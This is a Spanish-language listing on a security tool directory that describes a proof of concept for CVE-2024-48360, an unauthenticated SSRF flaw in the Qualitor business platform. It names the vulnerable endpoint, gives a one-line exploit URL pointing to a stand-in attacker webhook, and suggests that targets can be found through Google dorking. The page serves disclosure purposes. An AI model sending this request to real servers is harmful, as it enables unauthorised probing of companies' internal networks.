Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-48360 — CVE-2024-48360 Poc | Kitploit
Herramientas/GitHubGitHub/openxp-research/cve-2024-48360
ReconocimientoAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad Web
GitHubopenxp-research/cve-2024-48360

CVE-2024-48360

CVE-2024-48360 Poc

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-48360 | Qualitor <= v8.24 SSRF sin autenticación

CVE-2024-48360 | Qualitor <= v8.24 SSRF sin autenticación

Descripción

Qualitor es una plataforma para la gestión de procesos empresariales, y este sistema está presente en varias empresas de Brasil que pueden ser identificadas simplemente mediante el uso de Google dorking.

Nuestro equipo identificó una vulnerabilidad en la aplicación susceptible a SSRF, que permite enumerar sistemas/puertos internos.

Prueba de Concepto (POC)

Se descubrió que Qualitor v8.24 contiene una falsificación de solicitud del lado del servidor (SSRF) a través del componente /request/viewValidacao.php.

Para explotarlo, solo envía una solicitud a host.com/html/ad/adformmobile/request/viewValidacao.php?url=ATTACKER_WEBHOOK, y recibirás la solicitud desde el servidor vulnerable.

image

Investigaciones

https://www.linkedin.com/in/xvinicius/

  • OpenXP Research Team
Descargar herramienta